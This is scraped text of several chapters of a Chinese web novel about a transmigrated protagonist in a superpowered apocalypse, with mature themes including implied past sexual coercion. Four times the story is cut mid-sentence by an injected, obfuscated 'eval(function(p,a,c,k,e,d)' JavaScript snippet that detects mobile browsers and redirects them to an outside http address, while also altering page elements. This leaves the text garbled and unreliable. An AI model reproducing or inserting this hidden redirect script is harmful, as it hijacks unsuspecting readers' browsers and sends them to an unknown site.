“摔死了。”宁繁重复了一遍,“全都非常不小心。” “……” 宁周下意识看向边上的小巷,幽深的巷口里飘来些许的血腥味,让人下意识想要过去查看。宁繁身上只是衣服有些凌乱,干干净净,说是不小心让人摔到致人死亡,也很合理。虽然人好像不止一个。 宁繁也很无奈。 他本来和异种谈得好好的,莫名其妙冲出来几个人,眼睛里闪烁着打劫啊有钱人啊就来了。 水灵灵地就被异种干掉了。 干完还挺骄傲,充满了异种特有的护食情节。 搞得他现在还得想办法把这几个人处理掉。 看着已经有计划的宁周,宁繁冷不丁地问:“为什么你觉得会是我被欺负了?” 宁周一愣:“我?” 说来也奇怪,在来中心城之前,宁周一直担心自家少爷的烂脾气,仗着自己的异能强度还有获得的权势,欺负别人。结果来了中心城,他脑子里全是少爷被人欺负怎么办。 昨天晚上淋雨,洗完澡后湿漉漉的那声纵欲,他没有忘记。 他本能觉得,宁繁好像是受了欺负的。 可是作为绝大部分时候都死死跟在宁繁身边的人,他想不起来,也不觉得是来中心城之前的事。 那就只能是这里了。 那些人。 ……他不知道。无法理解。在很久之前,宁周就有三个愿望,一个是这天灾末日能早早结束,一个是少爷健康安全。还有一个是自己能有个美满的家庭,娶妻生子,孩子可以在正常的世界里找工作,也可以留在宁家,作为管家、会计都很有前途。 他可以在宁家很踏实地过一辈子。 谁知道少爷竟然受这样的委屈。 他不知道自己为什么会把这件事往男宠方面去想,当他真的思考起来,才惊悚地发现这完全有可能。宁繁长得太好看了,又几乎没有武力值。 宁周惶惑地忧心起来,翻来覆去,几乎一晚没睡。 他幻想过少爷带着自己的S级异能走上人生巅峰,而他在一边吃香喝辣,没多久就觉得那样太危险。但他从来没有想过,这样好的异能,最终成了枷锁。 得到异能很难,但得到异能拥有者,没有那么难。 如果宁繁“自愿”留下。 他大脑里好像自动地出现了各种具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“您要是遇到了危险,有异能者来找麻烦,请务必通知我。不,这几天,不论如何我都会24h留在您身边。”他做着最坏的打算,“我怀疑,他们连异种都会放出来,袭击你。” 宁繁:“……噢。” 挺正常一想法。 他虚虚看向自己的大腿,仍然什么都瞧不见。真不知道这异种什么材质,又粗又长,隔着布料都扎得痛。 “等会去城主府吧。”宁繁忽然说。 “少爷……”太危险了。 “我得……”宁繁抬手的时候刮到了异种,差点没控制住表情,轻轻地吸了口气,尾音绵长地颤着。他太怕疼,真的很想自己的debuff快点过去,“我得去上报一下被打劫的事。” “好可怜,全都意外摔死了,”他摸了摸眼尾,一脸无辜,“惹出这种事,都是我的错。” 宁繁掐着手中的异种:“怎么想我都应该去赔礼道歉。” 必须把这玩意丢到霍家去。 宁周不知道他在想什么,只是看着衣着凌乱的宁繁,犹豫片刻主动提出:“我帮您整理一下衣服。” “嗯?” 也许是因为他忽得靠近,宁繁有些慌乱,往后退了一步,靠在车上,抬起头。 带着厚厚一层茧子的手指落到他的领口,宁周低下头,专心致志地整理那片布料。他忽然觉得自己误会宁繁被欺负也是正常,那么细的脖颈,像只高傲轻盈的鸟,仿佛他一只手就能握住。 又那样敏感,指腹不经意的触碰,都能激起一阵轻颤。 领口被翻好,纽扣一一合上。 薄薄的衬衫下,一弯锁骨透着浅淡的粉,肌肤细腻到像是玉石。除了颈上那一圈碍眼的红色,其他地方确实没有任何伤痕。 “疼吗?”他问。 “嗯?”宁繁又发出了疑问的气音。 直到红痕被触碰,他瑟缩着仰起头,才反应过来宁周在问什么。 “还好。”他偏开视线,“不疼。” 8. 二周目(修 宁周的性格很倔。 说了24h保护,就一定要跟着宁繁进去城主府。城主府其实就是以前的办公大楼,只不过现在城市分裂,每个城市都有自己的掌权者。 现在前面仍然是大楼,维持城市运转的人们在里面忙碌着。外面安保严密,门口有一块儿电子信息版,不定时会更新一些其他城市的消息,让城里的居民明白,这个世界仍然在运转,自己不是孤身一人。 后方则是霍南行的私宅。据说为了办公方便,他把自己的私宅直接建在了这儿,一心一意为市民服务。 宁繁穿过前面的大厅,只觉得好笑。 私宅放在这里,不就是相当土皇帝吗?我即是权力,权力即是我。 大楼后面有一片供人放松的花园,现在有一部分被划入霍家的私宅了。 他提前说明了来意,管家早早地站在门口,迎接他们。 随着大门吱呀一声打开,宁繁跟着管家,走在干净整洁的路上,边上是修剪整齐的花园绿植。仿佛空气都清新了数倍,泥土和绿叶的气味,蔷薇散发着淡淡的甜香。 他好奇地看来看去,像是第一次来这儿的乡下人。 宁周不像他那么活泼,只沉默地跟着。 没人知道宁繁在想什么。 草地看起来柔软平整,檵木和三角梅开着艳丽的花,爬山虎和紫藤花构筑的走廊边,是青石铸就的喷泉。宁繁很喜欢这些风景。 当然也忘不掉他被按在草地,细叶托着他的后背,汗水和露珠混在一起,手指痉挛地抓住什么,结果是一朵还未完全开放的香槟玫瑰。掌心被刺割出鲜血,血的腥甜混着花的清香,被人一一舔舐干净。 似曾相识的草地上,现在立着一只呆呆的松鼠。 推开府邸的大门,宁繁下意识看了一眼。 他很不喜欢这扇庄重大气的门,一关上,外面的光半点也透不进来。 一楼是客厅,沙发看着就昂贵。宁繁知道它躺起来很软,会完全陷下去,腿被抬起来的话怎么挣扎都无济于事。 茶几上点着三支香薰蜡烛,是很淡的木质香。 它们的蜡油也不算烫。 “霍先生在二楼的书房。”管家领着他们上楼。 楼梯上铺就了柔软的羊毛毯,是很低调的颜色,有水渍脏污不容易看清楚。跪上去也不算疼,但若是从一楼顶到三楼,膝盖还是会接受不了。 二楼有一个风景很好的大厅,落地窗,窗帘上的花纹古朴庄重,非常漂亮。玻璃擦得干干净净。 宁繁觉得它贴起来有点凉,硬邦邦的,望出去会觉得蓝天和白鸟都无比刺眼。 他知道这栋房子的一切格局。二楼除了书房,还有健身室和影音房。霍南行喜欢摄影,还专门腾了一间屋子放自己的设备,以及很有年代感的胶卷。 书房的门被打开,宁周停在门外。 他没法跟进去。 而宁繁的脑袋先探进去,不可抑制地看向了那张他坐上去好多次的书桌:“霍先生?”他声音干干脆脆。 一如当年第一次来时。 系统在他大脑里发出无声的尖叫,听了宿主一路的心声,他觉得自己不必要的知识多了一大堆。宁繁好像自带了物品解析系统,每次看见一个东西,大脑里就会跟着蹦出来一长串解说,都是让统头皮发麻的东西。 宿主到底在这里呆了多久—— 他竟然还能和霍南行心平气和地说话吗—— 霍南行第一眼,也注意到了宁繁脖子上的红痕。他眼神一沉:“谁弄的?” “一群小混混,现在都死了。” 宁繁吐出口气。 身上终于不沉甸甸的,进来的时候,他就已经把身上的异种给卸了货。也不知道它溜到哪里去了,宁繁巴不得它能给人添一点小麻烦。 霍南行也不甚在意,只用长辈的口吻说着:“怎么跑那儿去了,你不该去的。” “不小心走过去的。”宁繁像是沉不住气的年轻人那样,忍不住问,“我听宁周说,出城许可证办不下来?我只是想出去逛逛。” “现在外面太危险了。”中年男人似乎正在书写着什么,听见宁繁的话,好整以暇地放下笔,“异种又在发起袭击。何况,以你的身份,留在中心城更安全,你可以在这里获得你想要的一切。” “宁家的侍卫,最高异能等级只有B。”他看着宁繁,声音恳切,“你需要被保护。” 宁繁沉默不语,好一会儿才狡辩了一句:“宁周很强的。” 男人只是用一种包容的目光看着他。 “我也很强。”宁繁一字一句,“至少我不会让身边的人受危险。” “你太单纯了,有些时候事情并没有那么简单。也许你还年轻,不懂生命的珍贵……” 霍南行一张口,催眠的话语吐出来:“首先第一点……然后……” 宁繁开始迷糊了,感觉自己的大脑开始宕机,他只好打断:“你只是想限制我的自由。” “我不会限制你的自由。” “你只是贪图我的异能。” “我没有强迫你。”霍南行顿了顿,“我不会像他们那样。” 梦里的宁繁比眼前的人要乖顺许多,但也不是不会吵架。他第一次限制他外出的时候反应格外大,几乎听不进人说话,分明是严重的ptsd。因此霍南行很清楚,这不是他造成的结果。 后来他调查过。 在宁繁觉醒异能后,他的家族曾经试图把他藏起来,压榨他的异能,连正常的社交、教育都剥夺了。又妄图让家族的所有子弟都利用不死的机会往上爬。 当然是失败了,不死的机会,并不会抹除死亡的痛苦。 没几个废物能在承受一次死亡后,像原来那样生活。 那之后,宁繁似乎就格外讨厌限制自由的举动,几乎断了和家族的往来,只信任一个从小跟到大的侍卫——可惜断绝关系没有那么简单,宁家不会放弃他。 “我不相信你。” 霍南行望着他,像是被这样幼稚的话逗笑了一下,微微地摇了摇头。 这种话,完全是撒娇。 “我没有骗你,最近异种在我们的交通线路上异常活跃,这时候出城,是自寻死路。”他从边上翻出一沓机密文件,“你可以自己看。现在申请的所有出城许可,我都不会批准。” “我知道你在大肆购买物资,想要将它们运出去,对吗?” “你或许想要寻找一个安全之地隐居,又或者收拢一片人帮你,可这样的想法太不切实际。”霍南行声音低沉,手指敲在桌面。他的手上有许多厚重的茧,虽说有四十多岁,保养却很得当,看着只有三十多,淡蓝色的眼珠如同冰镇的醇酒,“你的异能很强,但你身边的人能为你而死吗?” 也许愿意一次,但不可能一次又一次。 太多的人不懂生命的重量,以为不死的力量是稀世珍宝。 哪有这种好事。 宁繁沉默着,他当然了解自己异能的缺点。 却见霍南行将一张永久的进出许可证递过来:“我并未要限制你的自由,你随时可以离开,也随时可以造访第三城、造访霍家。” “只是这几天不可以。总有人会担心你。” 霍南行就像是在看着一个不懂事的晚辈。他从抽屉里拿出一支药膏:“这个拿去,消一消脖子上的痕迹。” “你有什么需要,其实可以直接向我提。大量的粮食,想要安全运输到目的地,也需要武装保护,不是吗?你大可以告诉我你需要采购多少,又要运往哪里。” “这座城不是我一个人做主,你大肆购买,会有人寻你的麻烦。” 宁繁看着桌上那支充当过润滑剂、涂上去有点冰冰凉凉的药膏,装出迷茫的表情:“为什么……” “我很看重你这样的晚辈,我见过太多年轻人死在战场上。”霍南行目光慈祥,又有点悲痛。 “宁繁,你很重要。” 宁繁似乎是信了,没有吭声。而霍南行招了招手:“过来,我帮你涂一下药。” 少年果然又露出警惕的表情,慢吞吞地挪过来,坐在凳子上。 霍南行绕到宁繁身后,将冰凉的药膏涂在掌心,用体温轻轻化开之后,食指沾了些,按在发红的地方。 “嗯……”冰凉凉的,宁繁被刺激了一下,发出声音。他的眼睛很大,又格外干净,因为情绪激动,眼尾有着一抹和冷色相反的红。抿着唇,使劲仰头往身后看,反而将白皙又脆弱的颈部暴露无遗,“霍先生,你弄疼我了。” “抱歉。” 宁繁还是看着霍南行,以至于年长者主动问了一句:“你觉得我很啰嗦?” 宁繁自然不会说真话:“没有,只是觉得很……很稀奇。” 他低了头:“没有人会这样对我。” 不管是宁家,还是上周目的霍南行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138149|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都不会这样。 脑袋突然被摸了一下,宁繁用力仰头,后脑勺撞在霍南行身上。霍南行正低头看他,蓝眸中带了点年长者的怜惜。 宁繁便光明正大地许愿:“您这样真好,我希望能一直这样下去。” 别突发奇想,大龄出柜了。 …… 宁繁离开了霍家的私宅。 宁周低声道:“少爷,您还要我去采购吗?” “嗯。” 书房的隔音其实一般,他站在门外,完全听见了里面两人的对话。宁繁会咋咋呼呼地说“其实他很强”的时候,他完全愣住了。 少爷很护短。 可浓郁的心酸和无力感泛上来,他看着自己手背上的疤,头一次觉得自己如此无用。 之后的谈话,他也听见了许多。霍南行那些话语并非没有道理,甚至,主动和一座中心城结交,打好关系,是当下的最优解。 “你被他说服了吗?” “少爷,是我太没用了。” “没事,他的语言技巧很好。” 宁繁回去后,直接一头闷进了卧室。 他补了个觉,一直到异物把他戳醒。 柔软的床上出现了一个凹坑,有什么东西正缠着他的腿。察觉到宁繁终于被弄醒了,异种缓缓显露出身形。 这是他第一次解除隐身的异能。 体型果然不大,触肢很多,如同一团风滚草,又像是会活动的筐蛇尾,蜷曲伸展。嘴不知道在哪里,却可以发出正常的人类声音。 宁繁只穿了一件睡衣,没穿裤子。他在床上盘起腿,刚睡醒的嗓子还有点沙哑:“回来啦?” “草滚蛇”觉得这人说话黏黏糊糊的,很奇怪。 而且完全不害怕他。 “你和我很熟?” “不熟。我不知道你的名字。”宁繁知道异种也有姓名,“你叫什么?” “风隐。”名为风隐的异种展开了自己的身体,竟然可以比宁繁还要高,奇怪的触肢组成了一张大网,高高在上地看着宁繁,“你为什么会知道城主府地下室有什么?” 宁繁反问:“没变么。” “那老东西简直不是人。我现在信你和他有仇了,是你认识的人被他杀了?” 地下室,肮脏的环境,腐烂的气息,仅存一息的几个活人。和已经被塞进黑色塑料袋的……尸体。 宁繁弯弯唇,毫无笑意,没有回答。 风隐咬牙切齿:“我要杀他!” 宁繁却不以为意。 卧室的门被轻轻地敲了敲。宁周的声音:“少爷,您该吃晚饭了,今天有蒜香炸排骨。” 炸排骨!!! 宁繁从床上跳了起来,连身边的异种都有点震惊,赶在开门前,迅速地隐匿了。 “是你做的吗?”他扑出卧室门,倏地一下直接撞上宁周,抬起头,绿眸闪闪发光,“我最近没食欲好久了,唯独这个还算想吃。” 宁周被他撞得后退半步。 宁繁身上只穿了宽松的睡衣,松松垮垮地垂下来,露出半个肩头,睡裤很短,光着两条腿,甚至没穿鞋。睡衣遮盖到大腿,领口却耷拉到了锁骨以下。他的皮肤太薄,能轻松看见肌肤下的血色,脖颈上的红印还没退。紧紧扣过腿环的痕迹,也随着布料摆动若隐若现,衣服下摆几乎蹭着他的身体。 连带着身上好闻的气味也扑过来。 “啊,我要去穿件衣服。” 又光着脚跑回了房间。 结果衣服都被丢进洗衣机了,他得从衣柜里重新拿点出来。折叠好的衬衫大部分放在下面,他弯下腰,跪坐在地板上,寻找着合适的款式。 “你帮我。”风隐游走过来,用极低的声音在宁繁耳边说,“帮我杀了他。” 宁繁不回答,只继续寻找。 “你帮我。”异种又说。 “那你能给我什么?”宁繁的声音压得极低。 脚步声。 “少爷。”宁周不知何时已经来到身后,声音有些疑惑,“您在找什么?” 他视线往下,看见黑色发丝下若隐若现的雪白后颈,睡衣柔软的布料包裹在身上,前倾着,所以上衣往上扯了一小截,浅浅的腰窝暴露出来,看着又窄又瘦,仿佛一只手就能握住。因为跪坐,臀.肉压在小腿上,挤出一点漂亮的曲线,睡裤绷得很紧,脚趾被压得粉红。 “您还没有找到吗?” 9. 二周目(小修 接下来的这几天,宁繁几乎什么都没做,每日闲逛。 他食欲消减,整个人也愈发清瘦起来。好在大家都只是以为他发脾气挑食,没人联想到这是异能的debuff。 他到现在还没弄清楚这个debuff是为谁而来的。 “系统,你这个游戏做得很一般啊。”宁繁在中心城晃了好久,“街上都没有NPC发布任务吗?玩家是一种会啃绿化带的生物,这么大的地图肯定会犁一遍地,到时候被发现其实主线之外很无聊怎么办?” 【发布时会根据您的体验酌情删减的!】 【但是玩家为什么会啃绿化带?】 宁繁也不知道,可是食物那么贵,中心城路上居然还有绿化带。 不啃一下好像天理难容的样子。 他这几日倒是和风隐保持了不错的关系,能隐身的异种在人类的世界也是如鱼得水。宁繁告诉了他几个绝对不能去的地方,那里都有专门的异常能量检测设备,会隐身也不行。 异种像是一团风滚草,飘去远处,时不时回来,和他交流一些信息。他们谈成了合作,宁繁会尽可能地帮他,而他也要给宁繁提供一些异种信息。 风隐问他为什么要这些信息。 宁繁当即可怜兮兮道:“投敌。” 霍南行是一个很难杀的人。 他的异能有A级,偏向防御型,能够推开周围的一切,包括子弹、攻击能量还有声波。几乎时时刻刻都开着,已经成了身体的一种本能。 宁繁还知道他可以把覆在身体表面的防护膜给扩大,人为制造出一片隔绝一切的区域,在里面做什么都不会被听见。 在野外,在花园。 他体验过这个不为人知的小功能。 系统发出了哭唧唧的声音:【早知如此,在这周目开始之前,我应该带您去做一些心里疏导的。】 “你能把我找到就很好啦。”宁繁还是很客观的,“而且我非常看重自己的生命,绝对不会仗着异能或者系统你在,就随便冒险。” 他轻描淡写地说:“上周目我又不是没死过。” 【啊?】 “在床上。”似乎是觉得自己把系统吓坏了,他又弯了弯眼,露出狐狸似的狡黠笑容,“像什么‘要死了要死了要被弄死了’这种话,我至少说过一千遍噢!” 【那种事——呜——】系统又要发出尖锐爆鸣了,【不要那么轻松地说出来啊——】 “还好。” 宁繁说完,长久地放空了一下。 “有时候做过头和死了差不多。”他垂下眼,长长的睫毛掩盖住眼眸中的神色,“只是醒来后很久都没法恢复。” 他的异能不负责精神疗愈,只负责吊命。 “我以前很讨厌这个异能。本来想着穿越了开挂多好,谁知道只是一路被觊觎。有时候我想过要不要结束这一切,拥抱一下甜美的死亡——”宁繁深呼吸了一下,“我知道死亡肯定不甜美,可是被做到极致晕过去、失去一切知觉的感觉很幸福,不是有人把这叫做小小的死亡吗?” “可是一想到我其实不用死。” “我可以靠这个异能活下去,不论怎么活着。” “我就没有办法放弃。我没有死亡的勇气。” 【对不起……】系统嗫嚅了一下,【这本来是给玩家准备的复活甲,保障玩家能够活到结局。】 宁繁:“我现在还蛮喜欢这个异能的啦。” 在迫近死亡的时候,他才知道自己真正的心意——绝对不想死、想要活着、想要自由。 “不过有一说一。”他思考了一下,“我看小说的时候,主角都是被追杀、或者遭逢大危机,马上要被人砍头了,才会明白自己的想法。” “为什么我的危机地点在床上?” 【你不要再说你自己的地狱笑话了——】 …… 在中心城的第十四天,城门打开了。 商队急急忙忙地进出,而宁繁也混在其中。他鬼鬼祟祟……不,他光明正大地把自己想要的事物运往了指定的一座城市。 离中心城不算远,也不是宁家的地盘,是他从宁家出来后选择的居住地。而且也相对安全,边上有其他的城市和异种的地盘接壤。是一个看起来能够隐居的地方。 “上周目我一直觉得,只要能回到这儿,一切都会好起来的。” “只要是游戏,总会给玩家一个安全屋、一个小家吧。” “谁知道第三城毁灭,我都没能回来。” 宁繁简直要翘尾巴:“游戏里买的房子也是房子!” 他其实超有钱的,就应该享受超级大少爷的生活。 他身旁的宁周没能理解宁繁,却能感觉到宁繁出城之后心情好极了,神采飞扬,宛如蒙尘的明珠见了天光。 可一到卫星城,宁繁就说出了他不赞同的话:“我要一个人走,你去把东西送到房子里,安置好。” 宁周不为所动。 宁繁推了他一下,结果一巴掌按到了宁周的胸肌上,手都陷进去了,人也没往后退半步。 宁繁:“……”大块头了不起诶。 “这是命令。”他一抬下巴,“你真是胆子大了,敢碍我的事。” 宁周的嘴唇微动,看着天光下,眼眸折射光彩的宁繁。终究还是没说什么。 做好交代的事,宁繁应该会更高兴。 …… 半小时后,宁繁晃进了一家赌场。 这是一家黑赌场,有个热门项目是异能者、异种之类的搏斗,还会直播到附近的中心城。 这里和霍家的产业有关。 宁繁也是吃了很多顿草,才知道,霍家原来一直掌控着这座城市。他们经营黑产业来盈利,商人自然需要维护自己的产业,因此表面上来看,这里完全就是宜居的地方。 没人会知道这里的龌龊。 如果上周目他逃跑,来到这座城市,恐怕立刻就会被抓回去。 还好,其实他根本没跑成…… 宁繁穿得很严实,又买了个面具戴上。反正赌场里面全都是见不得光的人,很少有人会暴露自己的形象。 宁繁轻车熟路地完成了一切的手续,熟练地说着只有这里才懂的黑话。当他花钱买了一个包厢,负责人也只是因为谁家的有钱人来寻乐了,还问他要不要开一张金卡。 “上周目学会的奇妙小技能。”他神态自若地笑着,“商清昀私下有经营过赌场,我在这种包厢里做过。” 他知道这种地方项目很丰富。 有变异动物赛跑,算是传统赛马。有异能者运动大赛,还通过异能等级分作不同赛道。不过最火热的节目,还得是普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138150|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通人大战异种、异能者大战异种、异种大战异种…… 好吧,人类就是喜欢斗蛐蛐,不管什么时候。 他甚至能想象到如果游戏开放,让第四天灾们登录,这里绝对会成为热门场所。 系统觉得宿主来这里应该不是为了玩。 “没记错的话,有一个很强的异种,异能是复制。没受到‘感召’之前,就在这里。”宁繁耸耸肩,“他后来成为异种之王的有力竞争者,异种间一直流传着他在这里卖……卖命的传说。” “作为购买包厢的贵客,我们可以提前去看看参赛选手,然后押宝。” 宁繁其实不知道那个异种的模样,异种的外貌总是千变万化。 但想了想,应该是很强的选手吧。 毕竟能在这种地方活好几年。 【宿主,你要注意安全。】系统看着贴满的海报,由衷担心起宁繁,【这里还有纯人类搏斗,被抓是不是就有可能永远留在这儿?】 “是……”宁繁话音未落,视线突然凝在一张海报上。 眼熟,好眼熟。哪怕戴了面具,他也完全认得出那副身体。 宁繁:“……” 【咦?】系统这种纯机械生物自然也分辨出了是谁,【您说的,未来开赌场的商清昀,现在怎么在当打手?】 还是最危险的、赔率最高的。 普通人vs异种。 窥着宁繁的表情,系统说了一句:【他肯定没告诉你之前在这儿卖。】 …… 上擂台之前,会被关起来。 如同被挑选的宠物一样,在光照明亮的笼子里,被那些金主们一一观摩,上下评点。 商清昀心平气和。 也许以后他就不需要来这种地方赚取资金了,如果那位反复无常的少爷没有忘记自己的许诺。 想起宁繁,他的喉结轻轻地滚动了一下。 没有觉醒异能,可梦也没有结束,反而越来越清晰。 那真是和现实中完全不一样的宁繁,好像随便一哄,就愿意把自己交出来。他说着温柔至极的情话,眼神却始终黏在对方柔软的唇瓣上,直到再也压抑不住,含住他的唇,轻咬那湿润的舌尖。 他已经连续好几天都是这样的梦了。 老实说,搞得人火气很大。 若非如此,他也不会重操旧业,跑到这种地方发泄。 在梦里,他甚至和宁繁来过赌场,在包厢里,圈住对方的身体,捉住他的手腕。他甚至能回忆起肌肤一寸寸从掌心划过的温热触感、想起那些颤抖、呼吸、还有湿漉漉的眼尾。他反复地揉着宁繁的手指,惊叹于它的柔软,继而将它按下。感受它主人的抗拒、指尖本能的蜷缩,还有落在他耳边的委屈抱怨:“好脏……” 有人在他的笼子面前蹲了下来。 穿着严实,戴着面具。 干净、白皙的手指搭在膝盖上。 商清昀的心脏狂跳起来,明明现实中他没见过宁繁几次,可他却已经对他的身体了如指掌。这绝对就是他梦里的人。他怎么会来这里?他的梦到底是—— “啧,”隔着面具,宁繁的视线落在地面,语气无比嫌弃,“好脏。” 商清昀:“……” 无名火像是找到了去处一般,燃烧起来。 他该死的,有了反应。 10. 二周目(小修 梦里他抓着宁繁的手按在自己身上,吻去他惊怒而委屈的泪水。 太漂亮了,这张脸是怎么都不会看腻的。唯一的缺点就是遥远,冷淡,像是不会为任何人动心那样。所以他很喜欢在宁繁身上留下痕迹,将吻密密麻麻地烙印在他雪白的肩头,逼他发出更柔软的声音。 现实他站在笼子里,只是被挑选的商品。百般压抑,才能克制身体不该有的反应。 天差地别。 他咬着舌尖,感受口腔里蔓延出的腥甜,喉间干渴。 商清昀自己都惊奇,他是如此自然地接受了宁繁勾起他欲念的事实。哪怕他二十年以来,从未有过类似的梦。往前几年他幻想过自己有了地位,享受一切,但很快他就连想都不去想了。 不如把所有的力气放在如何往上爬,一直爬到世界拥抱他为止。 少做梦,节能又安全。 而且宁繁还是男性。 虽然那张脸几乎已经跨越了性别,谁见了都会为此心动。可他前二十年似乎没有任何这方面的想法。 他默默地肖想着,将梦境里的一切拉出来重新回味,现实却只是低着头,直到宁繁离开。 半个月以来一直压抑的火气更大了,他看向对面笼子里,这次要杀死的异种。 将多余的心思转移一下。 如果宁繁如梦境里一样柔软、可以被任何人拉着走,那么他也会动心的。可现实是,他从少年的眼睛里看见了火一样的星子,压在所有的轻浮下,迟早有一天会爆发。 那绝对是个小疯子。 “27号。”有人冷冷地叫他,把他的思维拉回现实,“有人给了你额外的奖励,只要你赢下这场的胜利,赢得漂亮,这张钱就是你的了。” 他手中晃着一张卡。 这张卡的主人是谁,不言而喻。 商清昀盯着它,仿佛目光能透过笼子,将一切少穿。 “喂喂,有这么贪钱嘛……”管理人员早就知道报名这种项目的人都是疯子,可看着商清昀的目光,竟有些胆颤,他将卡收回,“现在钱还不是你的。” 商清昀心想,自己果然还是无法理解宁繁在想什么。 …… 宁繁逛了一圈,没有看见那种很强、很出挑的异种。 倒是看见了一团长得很像筐蛇尾的异种。 他想起风隐的话:“我来找霍家复仇。” 宁繁心里有数了。 但还是忍不住想:“如果那个异种不在选手区,那能在哪儿?总不可能像上周目那样,在谁谁谁的床上吧?” “也对,这里说不定有很多人外控。” 【我们这里还是很正常的。】 “不是的,系统你不懂,就算是正常的世界,也有人喜欢人外的。”宁繁随口就说,“比如说,有的玩家,他肯定是满脑子对npc感兴趣,别说人了,看见路边的一颗蘑菇说不定都会脱裤子。” 如果大家都是玩家心态,世界将会变得非常奇妙呢。 不过,现在的世界又是天灾、又是异能,道德对于人的束缚确实已经不剩多少了。 没找着目标,宁繁本想回包厢坐着,结果绕错了路,不知怎的拐到了别的区域。都是些受了伤的、现在没法上场的选手,甚至可能马上就要被丢掉了。宁繁从他们口中听见恶毒的咒骂,更多的是痛苦的呻.吟。 在嘈杂的声音中,他感受到了一道明显的视线。 充满贪婪。 找到了。 宁繁知道那个异种对S级异能特别感兴趣,会有一种强烈的想要捕食的想法。 他声音不变,随手一指:“这种要卖多少钱?” “大人,这些是非卖品。” 宁繁睨了他一眼:“我是说,初夜。” 管理人员当即瞳孔地震:“啊?” …… 系统:【啊啊啊啊啊宝宝你不可以当人外控啊啊啊啊!】 “又不是没和人外搞过。”宁繁躺在包厢的沙发上,等着人把他的目标洗干净端上来,“而且那个长得还蛮像正常人类的诶。” 似乎连赌场都搞错了,把他分在异能者的区域。 不过宁繁对异种的了解很深,直觉都能分辨出来,那绝对只是伪装成异能者的怪物。 系统都不敢问他为什么了解那么深。 它已经听了无数深入交流小故事了。 “大人,人给您送到了。” 只见一个赤着脚,双脚双手都戴着镣铐的人被推进来。他像是刚被强行洗了澡,头发还是湿漉漉的,眼神虽然忍不住往宁繁身上靠,却带着强烈的迷茫,跌跌撞撞地被推到宁繁的面前,跪了下来。 之后,其他人就退出去了。 “你叫什么名字?” “十七号。” 宁繁想端起茶杯喝一口,一想到这个赌场堪忧的卫生环境,又放下了。 十七号。也许他有名字,也许没有。十七号几乎就是人类男性的模样,两条腿两只手,一双眼睛一张嘴,没有任何人外的特征。身上被洗干净了,脸倒是还算标准。 可宁繁能注意到他的瞳孔转动很奇怪,有种说不出来的僵硬感,说话的时候几乎只有嘴在动。 异种终究不是人类,就像人无法操控一大堆附肢,异种也很难弄好面部表情。 现在人们还没弄清楚异种的形成原因,只知道一场席卷全球的天灾过后,人类凭空消失了半数,并开始觉醒异能,而周边却多了许多毫无人形、却有智慧的异种。 异种们声称自己是新人类。没有人类学者敢认同这一点,甚至连他们和人类的关系,都不敢提。 宁繁:“你是异种,对吗?” 十七号猛得抬头,身份被戳穿的第一反应便是杀死对方,可他本身的力量并不够,又戴上了厚重的镣铐。锁链的一端握在宁繁手里,用力一扯,他便仰躺在地板上,生锈的金属链条圈住脖颈,让人窒息。 宁繁很轻松地完成了捆绑,手法极其熟练,就是莫名其妙往奇怪的方向捆了。 ……反正他体验过,这种绝对没法挣脱的。 他拽着锁链,又怕自己这点力量不够,干脆跨坐上去,用自身的体重压制。 随着剧烈的动作,面具落在地上。 “听我说。”宁繁用一种无比严肃的声音说着,“我不会揭穿你的身份,也不是来杀你的,我是来救你的。我知道你是异种,因为……” “我也是。” 十七号的眼珠茫然地转动了一圈。 “我是来救你的。” ……好香。 十七号几乎停下了思考。从他看见宁繁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138151|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那一瞬间,就闻到了一种完全无法抵抗的香味,灵魂都在叫嚣着想要,唾液止不住地分泌,差点维持不住皮囊。 现在宁繁坐在他身上,膝盖撞在地面,布料因为动作而紧绷,掐出好看的腰线,锁链缠在他的手指上,黑色的金属和白玉般的肤色撞在一起。眼眸清澈,映照出他的模样。 离得那么近,香气更强烈了。 他艰难理解宁繁的话,声音低哑:“你是异种?” “你感受不到我很正常。为了彻底隐藏在人类世界,我切断了精神力的联系。”宁繁说谎无比丝滑。 这确实是异种才知道的事,他们有特殊的联系方法。 十七号盯着宁繁的脖颈,看着他说话时一开一合的唇瓣:“嗯。” 